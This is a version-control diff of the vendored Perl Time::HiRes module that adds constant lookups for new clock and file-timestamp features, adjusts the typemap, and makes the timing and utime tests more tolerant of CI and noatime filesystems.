--- vendor/perl/dist/dist/Time-HiRes/fallback/const-c.inc	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Time-HiRes/fallback/const-c.inc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -24,7 +24,7 @@
 constant_11 (pTHX_ const char *name, IV *iv_return) {
   /* When generated this function returned values for the list of names given
      here.  However, subsequent manual editing may have added or removed some.
-     ITIMER_PROF ITIMER_REAL d_getitimer d_nanosleep d_setitimer */
+     ITIMER_PROF ITIMER_REAL d_getitimer d_nanosleep d_setitimer d_utimensat */
   /* Offset 7 gives the best switch position.  */
   switch (name[7]) {
   case 'P':
@@ -83,20 +83,77 @@
 #endif
     }
     break;
+  case 'n':
+    if (memEQ(name, "d_utimensat", 11)) {
+    /*                      ^          */
+#ifdef HAS_UTIMENSAT
+      *iv_return = 1;
+      return PERL_constant_ISIV;
+#else
+      *iv_return = 0;
+      return PERL_constant_ISIV;
+#endif
+    }
+    break;
   }
   return PERL_constant_NOTFOUND;
 }
 
 static int
+constant_12 (pTHX_ const char *name, IV *iv_return) {
+  /* When generated this function returned values for the list of names given
+     here.  However, subsequent manual editing may have added or removed some.
+     CLOCK_SECOND CLOCK_UPTIME d_hires_stat */
+  /* Offset 10 gives the best switch position.  */
+  switch (name[10]) {
+  case 'M':
+    if (memEQ(name, "CLOCK_UPTIME", 12)) {
+    /*                         ^        */
+#ifdef CLOCK_UPTIME
+      *iv_return = CLOCK_UPTIME;
+      return PERL_constant_ISIV;
+#else
+      return PERL_constant_NOTDEF;
+#endif
+    }
+    break;
+  case 'N':
+    if (memEQ(name, "CLOCK_SECOND", 12)) {
+    /*                         ^        */
+#ifdef CLOCK_SECOND
+      *iv_return = CLOCK_SECOND;
+      return PERL_constant_ISIV;
+#else
+      return PERL_constant_NOTDEF;
+#endif
+    }
+    break;
+  case 'a':
+    if (memEQ(name, "d_hires_stat", 12)) {
+    /*                         ^        */
+#ifdef TIME_HIRES_STAT
+      *iv_return = 1;
+      return PERL_constant_ISIV;
+#else
+      *iv_return = 0;
+      return PERL_constant_ISIV;
+#endif
+    }
+    break;
+  }
+  return PERL_constant_NOTFOUND;
+}
+
+static int
 constant_13 (pTHX_ const char *name, IV *iv_return) {
   /* When generated this function returned values for the list of names given
      here.  However, subsequent manual editing may have added or removed some.
-     CLOCK_HIGHRES TIMER_ABSTIME d_hires_utime */
-  /* Offset 1 gives the best switch position.  */
-  switch (name[1]) {
-  case 'I':
-    if (memEQ(name, "TIMER_ABSTIME", 13)) {
-    /*                ^                  */
+     CLOCK_HIGHRES CLOCK_VIRTUAL TIMER_ABSTIME d_hires_utime */
+  /* Offset 12 gives the best switch position.  */
+  switch (name[12]) {
+  case 'E':
+    if (memEQ(name, "TIMER_ABSTIM", 12)) {
+    /*                           E      */
 #ifdef TIMER_ABSTIME
       *iv_return = TIMER_ABSTIME;
       return PERL_constant_ISIV;
@@ -106,8 +163,19 @@
     }
     break;
   case 'L':
-    if (memEQ(name, "CLOCK_HIGHRES", 13)) {
-    /*                ^                  */
+    if (memEQ(name, "CLOCK_VIRTUA", 12)) {
+    /*                           L      */
+#ifdef CLOCK_VIRTUAL
+      *iv_return = CLOCK_VIRTUAL;
+      return PERL_constant_ISIV;
+#else
+      return PERL_constant_NOTDEF;
+#endif
+    }
+    break;
+  case 'S':
+    if (memEQ(name, "CLOCK_HIGHRE", 12)) {
+    /*                           S      */
 #ifdef CLOCK_HIGHRES
       *iv_return = CLOCK_HIGHRES;
       return PERL_constant_ISIV;
@@ -116,9 +184,9 @@
 #endif
     }
     break;
-  case '_':
-    if (memEQ(name, "d_hires_utime", 13)) {
-    /*                ^                  */
+  case 'e':
+    if (memEQ(name, "d_hires_utim", 12)) {
+    /*                           e      */
 #ifdef TIME_HIRES_UTIME
       *iv_return = 1;
       return PERL_constant_ISIV;
@@ -136,8 +204,8 @@
 constant_14 (pTHX_ const char *name, IV *iv_return) {
   /* When generated this function returned values for the list of names given
      here.  However, subsequent manual editing may have added or removed some.
-     CLOCKS_PER_SEC CLOCK_REALTIME CLOCK_SOFTTIME ITIMER_VIRTUAL d_clock_getres
-     d_gettimeofday */
+     CLOCKS_PER_SEC CLOCK_BOOTTIME CLOCK_REALTIME CLOCK_SOFTTIME ITIMER_VIRTUAL
+     d_clock_getres d_gettimeofday */
   /* Offset 8 gives the best switch position.  */
   switch (name[8]) {
   case 'A':
@@ -184,6 +252,17 @@
 #endif
     }
     break;
+  case 'O':
+    if (memEQ(name, "CLOCK_BOOTTIME", 14)) {
+    /*                       ^            */
+#ifdef CLOCK_BOOTTIME
+      *iv_return = CLOCK_BOOTTIME;
+      return PERL_constant_ISIV;
+#else
+      return PERL_constant_NOTDEF;
+#endif
+    }
+    break;
   case 'e':
     if (memEQ(name, "d_gettimeofday", 14)) {
     /*                       ^            */
@@ -269,6 +348,50 @@
 }
 
 static int
+constant_19 (pTHX_ const char *name, IV *iv_return) {
+  /* When generated this function returned values for the list of names given
+     here.  However, subsequent manual editing may have added or removed some.
+     CLOCK_MONOTONIC_RAW CLOCK_REALTIME_FAST CLOCK_UPTIME_COARSE */
+  /* Offset 9 gives the best switch position.  */
+  switch (name[9]) {
+  case 'I':
+    if (memEQ(name, "CLOCK_UPTIME_COARSE", 19)) {
+    /*                        ^                */
+#ifdef CLOCK_UPTIME_COARSE
+      *iv_return = CLOCK_UPTIME_COARSE;
+      return PERL_constant_ISIV;
+#else
+      return PERL_constant_NOTDEF;
+#endif
+    }
+    break;
+  case 'L':
+    if (memEQ(name, "CLOCK_REALTIME_FAST", 19)) {
+    /*                        ^                */
+#ifdef CLOCK_REALTIME_FAST
+      *iv_return = CLOCK_REALTIME_FAST;
+      return PERL_constant_ISIV;
+#else
+      return PERL_constant_NOTDEF;
+#endif
+    }
+    break;
+  case 'O':
+    if (memEQ(name, "CLOCK_MONOTONIC_RAW", 19)) {
+    /*                        ^                */
+#ifdef CLOCK_MONOTONIC_RAW
+      *iv_return = CLOCK_MONOTONIC_RAW;
+      return PERL_constant_ISIV;
+#else
+      return PERL_constant_NOTDEF;
+#endif
+    }
+    break;
+  }
+  return PERL_constant_NOTFOUND;
+}
+
+static int
 constant (pTHX_ const char *name, STRLEN len, IV *iv_return) {
   /* Initially switch on the length of the name.  */
   /* When generated this function returned values for the list of names given
@@ -281,18 +404,25 @@
      Regenerate these constant functions by feeding this entire source file to
      perl -x
 
-#!perl -w
+#!/opt/local/perl-5.25.6/bin/perl -w
 use ExtUtils::Constant qw (constant_types C_constant XS_constant);
 
 my $types = {map {($_, 1)} qw(IV)};
-my @names = (qw(CLOCKS_PER_SEC CLOCK_HIGHRES CLOCK_MONOTONIC
-	       CLOCK_PROCESS_CPUTIME_ID CLOCK_REALTIME CLOCK_SOFTTIME
-	       CLOCK_THREAD_CPUTIME_ID CLOCK_TIMEOFDAY ITIMER_PROF ITIMER_REAL
+my @names = (qw(CLOCKS_PER_SEC CLOCK_BOOTTIME CLOCK_HIGHRES CLOCK_MONOTONIC
+	       CLOCK_MONOTONIC_COARSE CLOCK_MONOTONIC_FAST
+	       CLOCK_MONOTONIC_PRECISE CLOCK_MONOTONIC_RAW
+	       CLOCK_PROCESS_CPUTIME_ID CLOCK_PROF CLOCK_REALTIME
+	       CLOCK_REALTIME_COARSE CLOCK_REALTIME_FAST CLOCK_REALTIME_PRECISE
+	       CLOCK_REALTIME_RAW CLOCK_SECOND CLOCK_SOFTTIME
+	       CLOCK_THREAD_CPUTIME_ID CLOCK_TIMEOFDAY CLOCK_UPTIME
+	       CLOCK_UPTIME_COARSE CLOCK_UPTIME_FAST CLOCK_UPTIME_PRECISE
+	       CLOCK_UPTIME_RAW CLOCK_VIRTUAL ITIMER_PROF ITIMER_REAL
 	       ITIMER_REALPROF ITIMER_VIRTUAL TIMER_ABSTIME),
             {name=>"d_clock", type=>"IV", macro=>"TIME_HIRES_CLOCK", value=>"1", default=>["IV", "0"]},
             {name=>"d_clock_getres", type=>"IV", macro=>"TIME_HIRES_CLOCK_GETRES", value=>"1", default=>["IV", "0"]},
             {name=>"d_clock_gettime", type=>"IV", macro=>"TIME_HIRES_CLOCK_GETTIME", value=>"1", default=>["IV", "0"]},
             {name=>"d_clock_nanosleep", type=>"IV", macro=>"TIME_HIRES_CLOCK_NANOSLEEP", value=>"1", default=>["IV", "0"]},
+            {name=>"d_futimens", type=>"IV", macro=>"HAS_FUTIMENS", value=>"1", default=>["IV", "0"]},
             {name=>"d_getitimer", type=>"IV", macro=>"HAS_GETITIMER", value=>"1", default=>["IV", "0"]},
             {name=>"d_gettimeofday", type=>"IV", macro=>"HAS_GETTIMEOFDAY", value=>"1", default=>["IV", "0"]},
             {name=>"d_hires_stat", type=>"IV", macro=>"TIME_HIRES_STAT", value=>"1", default=>["IV", "0"]},
@@ -300,7 +430,8 @@
             {name=>"d_nanosleep", type=>"IV", macro=>"TIME_HIRES_NANOSLEEP", value=>"1", default=>["IV", "0"]},
             {name=>"d_setitimer", type=>"IV", macro=>"HAS_SETITIMER", value=>"1", default=>["IV", "0"]},
             {name=>"d_ualarm", type=>"IV", macro=>"HAS_UALARM", value=>"1", default=>["IV", "0"]},
-            {name=>"d_usleep", type=>"IV", macro=>"HAS_USLEEP", value=>"1", default=>["IV", "0"]});
+            {name=>"d_usleep", type=>"IV", macro=>"HAS_USLEEP", value=>"1", default=>["IV", "0"]},
+            {name=>"d_utimensat", type=>"IV", macro=>"HAS_UTIMENSAT", value=>"1", default=>["IV", "0"]});
 
 print constant_types(), "\n"; # macro defs
 foreach (C_constant ("Time::HiRes", 'constant', 'IV', $types, undef, 3, @names) ) {
@@ -354,19 +485,41 @@
       break;
     }
     break;
+  case 10:
+    /* Names all of length 10.  */
+    /* CLOCK_PROF d_futimens */
+    /* Offset 5 gives the best switch position.  */
+    switch (name[5]) {
+    case '_':
+      if (memEQ(name, "CLOCK_PROF", 10)) {
+      /*                    ^           */
+#ifdef CLOCK_PROF
+        *iv_return = CLOCK_PROF;
+        return PERL_constant_ISIV;
+#else
+        return PERL_constant_NOTDEF;
+#endif
+      }
+      break;
+    case 'i':
+      if (memEQ(name, "d_futimens", 10)) {
+      /*                    ^           */
+#ifdef HAS_FUTIMENS
+        *iv_return = 1;
+        return PERL_constant_ISIV;
+#else
+        *iv_return = 0;
+        return PERL_constant_ISIV;
+#endif
+      }
+      break;
+    }
+    break;
   case 11:
     return constant_11 (aTHX_ name, iv_return);
     break;
   case 12:
-    if (memEQ(name, "d_hires_stat", 12)) {
-#ifdef TIME_HIRES_STAT
-      *iv_return = 1;
-      return PERL_constant_ISIV;
-#else
-      *iv_return = 0;
-      return PERL_constant_ISIV;
-#endif
-    }
+    return constant_12 (aTHX_ name, iv_return);
     break;
   case 13:
     return constant_13 (aTHX_ name, iv_return);
@@ -377,25 +530,154 @@
   case 15:
     return constant_15 (aTHX_ name, iv_return);
     break;
+  case 16:
+    if (memEQ(name, "CLOCK_UPTIME_RAW", 16)) {
+#ifdef CLOCK_UPTIME_RAW
+      *iv_return = CLOCK_UPTIME_RAW;
+      return PERL_constant_ISIV;
+#else
+      return PERL_constant_NOTDEF;
+#endif
+    }
+    break;
   case 17:
-    if (memEQ(name, "d_clock_nanosleep", 17)) {
+    /* Names all of length 17.  */
+    /* CLOCK_UPTIME_FAST d_clock_nanosleep */
+    /* Offset 5 gives the best switch position.  */
+    switch (name[5]) {
+    case '_':
+      if (memEQ(name, "CLOCK_UPTIME_FAST", 17)) {
+      /*                    ^                  */
+#ifdef CLOCK_UPTIME_FAST
+        *iv_return = CLOCK_UPTIME_FAST;
+        return PERL_constant_ISIV;
+#else
+        return PERL_constant_NOTDEF;
+#endif
+      }
+      break;
+    case 'c':
+      if (memEQ(name, "d_clock_nanosleep", 17)) {
+      /*                    ^                  */
 #ifdef TIME_HIRES_CLOCK_NANOSLEEP
-      *iv_return = 1;
+        *iv_return = 1;
+        return PERL_constant_ISIV;
+#else
+        *iv_return = 0;
+        return PERL_constant_ISIV;
+#endif
+      }
+      break;
+    }
+    break;
+  case 18:
+    if (memEQ(name, "CLOCK_REALTIME_RAW", 18)) {
+#ifdef CLOCK_REALTIME_RAW
+      *iv_return = CLOCK_REALTIME_RAW;
       return PERL_constant_ISIV;
 #else
-      *iv_return = 0;
+      return PERL_constant_NOTDEF;
+#endif
+    }
+    break;
+  case 19:
+    return constant_19 (aTHX_ name, iv_return);
+    break;
+  case 20:
+    /* Names all of length 20.  */
+    /* CLOCK_MONOTONIC_FAST CLOCK_UPTIME_PRECISE */
+    /* Offset 7 gives the best switch position.  */
+    switch (name[7]) {
+    case 'O':
+      if (memEQ(name, "CLOCK_MONOTONIC_FAST", 20)) {
+      /*                      ^                   */
+#ifdef CLOCK_MONOTONIC_FAST
+        *iv_return = CLOCK_MONOTONIC_FAST;
+        return PERL_constant_ISIV;
+#else
+        return PERL_constant_NOTDEF;
+#endif
+      }
+      break;
+    case 'P':
+      if (memEQ(name, "CLOCK_UPTIME_PRECISE", 20)) {
+      /*                      ^                   */
+#ifdef CLOCK_UPTIME_PRECISE
+        *iv_return = CLOCK_UPTIME_PRECISE;
+        return PERL_constant_ISIV;
+#else
+        return PERL_constant_NOTDEF;
+#endif
+      }
+      break;
+    }
+    break;
+  case 21:
+    if (memEQ(name, "CLOCK_REALTIME_COARSE", 21)) {
+#ifdef CLOCK_REALTIME_COARSE
+      *iv_return = CLOCK_REALTIME_COARSE;
       return PERL_constant_ISIV;
+#else
+      return PERL_constant_NOTDEF;
 #endif
     }
     break;
+  case 22:
+    /* Names all of length 22.  */
+    /* CLOCK_MONOTONIC_COARSE CLOCK_REALTIME_PRECISE */
+    /* Offset 12 gives the best switch position.  */
+    switch (name[12]) {
+    case 'M':
+      if (memEQ(name, "CLOCK_REALTIME_PRECISE", 22)) {
+      /*                           ^                */
+#ifdef CLOCK_REALTIME_PRECISE
+        *iv_return = CLOCK_REALTIME_PRECISE;
+        return PERL_constant_ISIV;
+#else
+        return PERL_constant_NOTDEF;
+#endif
+      }
+      break;
+    case 'N':
+      if (memEQ(name, "CLOCK_MONOTONIC_COARSE", 22)) {
+      /*                           ^                */
+#ifdef CLOCK_MONOTONIC_COARSE
+        *iv_return = CLOCK_MONOTONIC_COARSE;
+        return PERL_constant_ISIV;
+#else
+        return PERL_constant_NOTDEF;
+#endif
+      }
+      break;
+    }
+    break;
   case 23:
-    if (memEQ(name, "CLOCK_THREAD_CPUTIME_ID", 23)) {
+    /* Names all of length 23.  */
+    /* CLOCK_MONOTONIC_PRECISE CLOCK_THREAD_CPUTIME_ID */
+    /* Offset 22 gives the best switch position.  */
+    switch (name[22]) {
+    case 'D':
+      if (memEQ(name, "CLOCK_THREAD_CPUTIME_I", 22)) {
+      /*                                     D      */
 #ifdef CLOCK_THREAD_CPUTIME_ID
-      *iv_return = CLOCK_THREAD_CPUTIME_ID;
-      return PERL_constant_ISIV;
+        *iv_return = CLOCK_THREAD_CPUTIME_ID;
+        return PERL_constant_ISIV;
 #else
-      return PERL_constant_NOTDEF;
+        return PERL_constant_NOTDEF;
 #endif
+      }
+      break;
+    case 'E':
+      if (memEQ(name, "CLOCK_MONOTONIC_PRECIS", 22)) {
+      /*                                     E      */
+#ifdef CLOCK_MONOTONIC_PRECISE
+        *iv_return = CLOCK_MONOTONIC_PRECISE;
+        return PERL_constant_ISIV;
+#else
+        return PERL_constant_NOTDEF;
+#endif
+      }
+      break;
     }
     break;
   case 24:

Modified: vendor/perl/dist/dist/Time-HiRes/fallback/const-xs.inc
===================================================================
--- vendor/perl/dist/dist/Time-HiRes/fallback/const-xs.inc	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Time-HiRes/fallback/const-xs.inc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -22,12 +22,14 @@
            Second, if present, is found value */
         switch (type) {
         case PERL_constant_NOTFOUND:
-          sv = sv_2mortal(newSVpvf("%s is not a valid Time::HiRes macro", s));
+          sv =
+	    sv_2mortal(newSVpvf("%s is not a valid Time::HiRes macro", s));
           PUSHs(sv);
           break;
         case PERL_constant_NOTDEF:
           sv = sv_2mortal(newSVpvf(
-	    "Your vendor has not defined Time::HiRes macro %s, used", s));
+	    "Your vendor has not defined Time::HiRes macro %s, used",
+				   s));
           PUSHs(sv);
           break;
         case PERL_constant_ISIV:

Modified: vendor/perl/dist/dist/Time-HiRes/t/alarm.t
===================================================================
--- vendor/perl/dist/dist/Time-HiRes/t/alarm.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Time-HiRes/t/alarm.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -42,6 +42,9 @@
 	# Perl's deferred signals may be too wimpy to break through
 	# a restartable select(), so use POSIX::sigaction if available.
 
+        # In perl 5.6.2 you will get a likely bogus warning of
+        # "Use of uninitialized value in subroutine entry" from
+        # the following line.
 	POSIX::sigaction(&POSIX::SIGALRM,
 			 POSIX::SigAction->new("tick"),
 			 $oldaction)

Modified: vendor/perl/dist/dist/Time-HiRes/t/clock.t
===================================================================
--- vendor/perl/dist/dist/Time-HiRes/t/clock.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Time-HiRes/t/clock.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -79,10 +79,16 @@
 
 SKIP: {
     skip "no clock", 1 unless &Time::HiRes::d_clock;
+    skip "no CLOCKS_PER_SEC", 1 unless has_symbol("CLOCKS_PER_SEC"); 
     my @clock = Time::HiRes::clock();
+    # If we have a relatively low precision clock() and we haven't seen much
+    # CPU usage thus far with clock(), we will want to have a bit longer delay.
+    my $delay = $clock[0] < (5 / &Time::HiRes::CLOCKS_PER_SEC) ? 1e7 : 1e6;
+    printf("# CLOCKS_PER_SEC = %d\n", &Time::HiRes::CLOCKS_PER_SEC);
+    printf("# delay = %d\n", $delay);
     print("# clock = @clock\n");
     for my $i (1..3) {
-	for (my $j = 0; $j < 1e6; $j++) { }
+        for (my $j = 0; $j < $delay; $j++) { }
 	push @clock, Time::HiRes::clock();
 	print("# clock = @clock\n");
     }

Modified: vendor/perl/dist/dist/Time-HiRes/t/nanosleep.t
===================================================================
--- vendor/perl/dist/dist/Time-HiRes/t/nanosleep.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Time-HiRes/t/nanosleep.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,7 +8,7 @@
     }
 }
 
-use Test::More tests => 3;
+use Test::More tests => 4;
 BEGIN { push @INC, '.' }
 use t::Watchdog;
 
@@ -25,12 +25,14 @@
     or print("# slept too long, $one $two $three\n");
 
 SKIP: {
-    skip "no gettimeofday", 1 unless &Time::HiRes::d_gettimeofday;
+    skip "no gettimeofday", 2 unless &Time::HiRes::d_gettimeofday;
     my $f = Time::HiRes::time();
     Time::HiRes::nanosleep(500_000_000);
     my $f2 = Time::HiRes::time();
     my $d = $f2 - $f;
-    ok $d > 0.4 && $d < 0.9 or print("# slept $d secs $f to $f2\n");
+    cmp_ok $d, '>', 0.4, "nanosleep for more than 0.4 sec";
+    skip "flapping test - more than 0.9 sec could be necessary...", 1 if $ENV{CI};
+    cmp_ok $d, '<', 0.9 or diag("# slept $d secs $f to $f2\n");
 }
 
 1;

Modified: vendor/perl/dist/dist/Time-HiRes/t/usleep.t
===================================================================
--- vendor/perl/dist/dist/Time-HiRes/t/usleep.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Time-HiRes/t/usleep.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -32,7 +32,7 @@
     Time::HiRes::usleep(500_000);
     my $f2 = Time::HiRes::time();
     my $d = $f2 - $f;
-    ok $d > 0.4 && $d < 0.9 or print("# slept $d secs $f to $f2\n");
+    ok $d > 0.49 or print("# slept $d secs $f to $f2\n");
 }
 
 SKIP: {
@@ -40,7 +40,7 @@
     my $r = [ Time::HiRes::gettimeofday() ];
     Time::HiRes::sleep( 0.5 );
     my $f = Time::HiRes::tv_interval $r;
-    ok $f > 0.4 && $f < 0.9 or print("# slept $f instead of 0.5 secs.\n");
+    ok $f > 0.49 or print("# slept $f instead of 0.5 secs.\n");
 }
 
 SKIP: {

Modified: vendor/perl/dist/dist/Time-HiRes/t/utime.t
===================================================================
--- vendor/perl/dist/dist/Time-HiRes/t/utime.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Time-HiRes/t/utime.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,94 @@
 use strict;
 
+sub has_subsecond_file_times {
+  require File::Temp;
+  require Time::HiRes;
+  my ($fh, $filename) = File::Temp::tempfile( "Time-HiRes-utime-XXXXXXXXX" );
+  use File::Basename qw[dirname];
+  my $dirname = dirname($filename);
+  require Cwd;
+  $dirname = &Cwd::getcwd if $dirname eq '.';
+  print("\n# Testing for subsecond file timestamps (mtime) in $dirname\n");
+  close $fh;
+  my @mtimes;
+  for (1..2) {
+    open $fh, '>', $filename;
+    print $fh "foo";
+    close $fh;
+    push @mtimes, (Time::HiRes::stat($filename))[9];
+    Time::HiRes::sleep(.1) if $_ == 1;
+  }
+  my $delta = $mtimes[1] - $mtimes[0];
+  # print STDERR "mtimes = @mtimes, delta = $delta\n";
+  unlink $filename;
+  my $ok = $delta > 0 && $delta < 1;
+  printf("# Subsecond file timestamps in $dirname: %s\n",
+         $ok ? "OK" : "NO");
+  return $ok;
+}
+
+sub get_filesys_of_tempfile {
+  require File::Temp;
+  require Time::HiRes;
+  my ($fh, $filename) = File::Temp::tempfile( "Time-HiRes-utime-XXXXXXXXX" );
+  my $filesys;
+  if (open(my $df, "df $filename |")) {
+    my @fs;
+    while (<$df>) {
+      next if /^Filesystem/;
+      chomp;
+      push @fs, $_;
+    }
+    if (@fs == 1) {
+      if (defined $fs[0] && length($fs[0])) {
+        $filesys = $fs[0];
+      } else {
+        printf("# Got empty result from 'df'\n");
+      }
+    } else {
+      printf("# Expected one result from 'df', got %d\n", scalar(@fs));
+    }
+  } else {
+    # Too noisy to show by default.
+    # Can fail for too many reasons.
+    print "# Failed to run 'df $filename |': $!\n";
+  }
+  return $filesys;
+}
+
+sub get_mount_of_filesys {
+  my ($filesys) = @_;
+  # netbsd has /sbin/mount
+  local $ENV{PATH} = "$ENV{PATH}:/sbin" if $^O =~ /^(?:netbsd)$/;
+  if (defined $filesys) {
+    my @fs = split(' ', $filesys);
+    if (open(my $mount, "mount |")) {
+      while (<$mount>) {
+        chomp;
+        my @mnt = split(' ');
+        if ($mnt[0] eq $fs[0]) {
+          return $_;
+        }
+      }
+    } else {
+      # Too noisy to show by default.
+      # The mount(8) might not be in the PATH, for example.
+      # Or this might be a completely non-UNIX system.
+      # print "# Failed to run 'mount |': $!\n";
+    }
+  }
+  return;
+}
+
+sub get_mount_of_tempfile {
+  return get_mount_of_filesys(get_filesys_of_tempfile());
+}
+
+sub tempfile_has_noatime_mount {
+  my ($mount) = get_mount_of_tempfile();
+  return $mount =~ /\bnoatime\b/;
+}
+
 BEGIN {
     require Time::HiRes;
     require Test::More;
@@ -7,6 +96,11 @@
     unless(&Time::HiRes::d_hires_utime) {
 	Test::More::plan(skip_all => "no hires_utime");
     }
+    unless(&Time::HiRes::d_hires_stat) {
+        # Being able to read subsecond timestamps is a reasonable
+	# prerequisite for being able to write them.
+	Test::More::plan(skip_all => "no hires_stat");
+    }
     unless (&Time::HiRes::d_futimens) {
 	Test::More::plan(skip_all => "no futimens()");
     }
@@ -13,38 +107,9 @@
     unless (&Time::HiRes::d_utimensat) {
 	Test::More::plan(skip_all => "no utimensat()");
     }
-    if ($^O eq 'gnukfreebsd') {
-	Test::More::plan(skip_all => "futimens() and utimensat() not working in $^O");
+    unless (has_subsecond_file_times()) {
+	Test::More::plan(skip_all => "No subsecond file timestamps");
     }
-    if ($^O eq 'linux' && -e '/proc/mounts') {
-        # The linux might be wrong when ext3
-        # is available in other operating systems,
-        # but then we need other methods for detecting
-        # the filesystem type of the tempfiles.
-        my ($fh, $fn) = File::Temp::tempfile( "Time-HiRes-utime-XXXXXXXXX", UNLINK => 1);
-        sub getfstype {
-            my ($fn) = @_;
-            my $cmd = "df $fn";
-            open(my $df, '-|', $cmd) or die "$cmd: $!";
-             my @df = <$df>;  # Assume $df[0] is header line.
-             my $dev = +(split(" ", $df[1]))[0];
-             open(my $mounts, '<', '/proc/mounts') or die "/proc/mounts: $!";
-             while (<$mounts>) {
-                 my @m = split(" ");
-                 if ($m[0] eq $dev) { return $m[2] }
-             }
-             return;
-          }
-          my $fstype = getfstype($fn);
-          unless (defined $fstype) {
-              warn "Unknown fstype for $fn\n";
-          } else {
-              print "# fstype = $fstype\n";
-              if ($fstype eq 'ext3' || $fstype eq 'ext2') {
-                  Test::More::plan(skip_all => "fstype $fstype has no subsecond timestamps in $^O");
-            }
-        }
-    }
 }
 
 use Test::More tests => 18;
@@ -52,6 +117,10 @@
 use t::Watchdog;
 use File::Temp qw( tempfile );
 
+BEGIN {
+  *done_testing = sub {} unless defined &done_testing;
+}
+
 use Config;
 
 # Hope initially for nanosecond accuracy.
@@ -65,12 +134,21 @@
 }
 print "# \$^O = $^O, atime = $atime, mtime = $mtime\n";
 
+my $skip_atime = $^O eq 'netbsd' && tempfile_has_noatime_mount();
+
+if ($skip_atime) {
+  printf("# Skipping atime tests because tempfiles seem to be in a filesystem mounted with 'noatime' ($^O)\n'");
+}
+
 print "# utime \$fh\n";
 {
 	my ($fh, $filename) = tempfile( "Time-HiRes-utime-XXXXXXXXX", UNLINK => 1 );
 	is Time::HiRes::utime($atime, $mtime, $fh), 1, "One file changed";
 	my ($got_atime, $got_mtime) = ( Time::HiRes::stat($filename) )[8, 9];
-	is $got_atime, $atime, "atime set correctly";
+        SKIP: {
+          skip("noatime mount", 1) if $skip_atime;
+          is $got_atime, $atime, "atime set correctly";
+        }
 	is $got_mtime, $mtime, "mtime set correctly";
 };
 
@@ -79,7 +157,10 @@
 	my ($fh, $filename) = tempfile( "Time-HiRes-utime-XXXXXXXXX", UNLINK => 1 );
 	is Time::HiRes::utime($atime, $mtime, $filename), 1, "One file changed";
 	my ($got_atime, $got_mtime) = ( Time::HiRes::stat($fh) )[8, 9];
-	is $got_atime, $atime, "atime set correctly";
+        SKIP: {
+            skip("noatime mount", 1) if $skip_atime;
+            is $got_atime, $atime, "atime set correctly";
+        }
 	is $got_mtime, $mtime, "mtime set correctly";
 };
 
@@ -90,12 +171,18 @@
 	is Time::HiRes::utime($atime, $mtime, $filename1, $fh2), 2, "Two files changed";
 	{
 		my ($got_atime, $got_mtime) = ( Time::HiRes::stat($fh1) )[8, 9];
-		is $got_atime, $atime, "File 1 atime set correctly";
+                SKIP: {
+                    skip("noatime mount", 1) if $skip_atime;
+                    is $got_atime, $atime, "File 1 atime set correctly";
+                }
 		is $got_mtime, $mtime, "File 1 mtime set correctly";
 	}
 	{
 		my ($got_atime, $got_mtime) = ( Time::HiRes::stat($filename2) )[8, 9];
-		is $got_atime, $atime, "File 2 atime set correctly";
+                SKIP: {
+                    skip("noatime mount", 1) if $skip_atime;
+                    is $got_atime, $atime, "File 2 atime set correctly";
+                }
 		is $got_mtime, $mtime, "File 2 mtime set correctly";
 	}
 };
@@ -106,17 +193,24 @@
 	my ($fh2, $filename2) = tempfile( "Time-HiRes-utime-XXXXXXXXX", UNLINK => 1 );
 
 	my $now = Time::HiRes::time;
+        sleep(1);
 	is Time::HiRes::utime(undef, undef, $filename1, $fh2), 2, "Two files changed";
 
 	{
 		my ($got_atime, $got_mtime) = ( Time::HiRes::stat($fh1) )[8, 9];
-		cmp_ok abs( $got_atime - $now), '<', 0.1, "File 1 atime set correctly";
-		cmp_ok abs( $got_mtime - $now), '<', 0.1, "File 1 mtime set correctly";
+                SKIP: {
+                    skip("noatime mount", 1) if $skip_atime;
+                    cmp_ok $got_atime, '>=', $now, "File 1 atime set correctly";
+                }
+		cmp_ok $got_mtime, '>=', $now, "File 1 mtime set correctly";
 	}
 	{
 		my ($got_atime, $got_mtime) = ( Time::HiRes::stat($filename2) )[8, 9];
-		cmp_ok abs( $got_atime - $now), '<', 0.1, "File 2 atime set correctly";
-		cmp_ok abs( $got_mtime - $now), '<', 0.1, "File 2 mtime set correctly";
+                SKIP: {
+                    skip("noatime mount", 1) if $skip_atime;
+                    cmp_ok $got_atime, '>=', $now, "File 2 atime set correctly";
+                }
+		cmp_ok $got_mtime, '>=', $now, "File 2 mtime set correctly";
 	}
 };
 
@@ -134,6 +228,6 @@
 		"negative time error";
 };
 
-done_testing;
+done_testing();
 
 1;

Modified: vendor/perl/dist/dist/Time-HiRes/typemap
===================================================================
--- vendor/perl/dist/dist/Time-HiRes/typemap	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Time-HiRes/typemap	2018-12-22 22:55:19 UTC (rev 12126)
@@ -282,8 +282,9 @@
         }
 T_STDIO
 	{
-	    GV *gv = newGVgen("$Package");
+	    GV *gv = (GV *)sv_newmortal();
 	    PerlIO *fp = PerlIO_importFILE($var,0);
+	    gv_init(gv, gv_stashpv("$Package",1),"__ANONIO__",10,0);
 	    if ( fp && do_open(gv, "+<&", 3, FALSE, 0, 0, fp) )
 		sv_setsv($arg, sv_bless(newRV((SV*)gv), gv_stashpv("$Package",1)));
 	    else
@@ -291,7 +292,8 @@
 	}
 T_IN
 	{
-	    GV *gv = newGVgen("$Package");
+	    GV *gv = (GV *)sv_newmortal();
+	    gv_init(gv, gv_stashpv("$Package",1),"__ANONIO__",10,0);
 	    if ( do_open(gv, "<&", 2, FALSE, 0, 0, $var) )
 		sv_setsv($arg, sv_bless(newRV((SV*)gv), gv_stashpv("$Package",1)));
 	    else
